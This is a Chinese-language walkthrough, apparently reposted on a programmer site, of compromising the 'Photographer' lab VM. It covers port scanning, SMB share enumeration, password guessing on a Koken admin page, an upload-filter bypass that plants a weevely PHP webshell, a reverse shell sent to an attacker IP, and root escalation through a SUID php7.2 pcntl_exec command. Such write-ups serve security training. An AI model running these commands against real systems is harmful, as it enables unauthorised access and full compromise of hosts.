欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Photographer-writeup

程序员文章站 2022-07-15 14:30:28
...

Photographer-writeup

0x00 信息收集

首先使用nmap扫描一下端口及服务

nmap -sV -Pn 192.168.1.21
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 15:56 CST
Nmap scan report for 192.168.1.21
Host is up (0.00044s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8000/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:6C:68:BF (Oracle VirtualBox virtual NIC)
Service Info: Host: PHOTOGRAPHER

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.68 seconds

先从web开始,打开80端口后是个图片展示页面,貌似没有什么可以利用

8000端口打开是基于koken框架开发的

Photographer-writeup

dirb**下目录发现了敏感目录admin

Photographer-writeup

目前对email地址还是未知,需要再收集一些信息。

看下139,445端口,使用enum4linux工具扫描smb,看看能收集到什么

Photographer-writeup

发现有个共享目录sambashare,不需要验证

使用smbclient连接看下有哪些共享文件

Photographer-writeup

smb: \> get mailsent.txt //将mailsent.txt下载到本地
Message-ID: <aaa@qq.com>
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence <aaa@qq.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi <aaa@qq.com>
Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;)

从这封信我们就获取到了前面后台登录的账号了,aaa@qq.com

0x01 webshell

登录抓包**一下,得到密码babygirl

Photographer-writeup

登录进去,此处存在上传功能,尝试抓包发现仅在前端对后缀做验证,绕过方法为:将制作好的图片木马以png后缀上传,抓包改为php即可。

Photographer-writeup

上传的php木马绝对路径可以在网络连接中查看到

Photographer-writeup

我使用的是weevely制作的php木马

Photographer-writeup

目前获取到了webshell

到家目录看看

Photographer-writeup

看到前面smb挖到的信息,再看看另一个

Photographer-writeup

得到的像是md5,获取到了一个flag:d41d8cd98f00b204e9800998ecf8427e

Photographer-writeup

0x02 提权

接下来肯定是需要提权到root才能得到第二个flag

正常操作看下suid

find / -type f -perm -u=s 2>/dev/null

在这个weevely获取的shell中执行上面的find命令无法正常的显示

Photographer-writeup

所以决定反弹个shell用nc接收

kali开启nc监听nc -lvp 4444,weevely的shell中有反弹shell的功能:backdoor_reversetcp 192.168.1.13 4444

Photographer-writeup

再次执行find / -type f -perm -u=s 2>/dev/null

Photographer-writeup

可以看到又个特别的命令是/usr/bin/php7.2,那么我们就使用这个来进行提权操作

/usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"

Photographer-writeup

Photographer-writeup

上一篇: Kioptrix_Level_1-writeup

下一篇: shellcode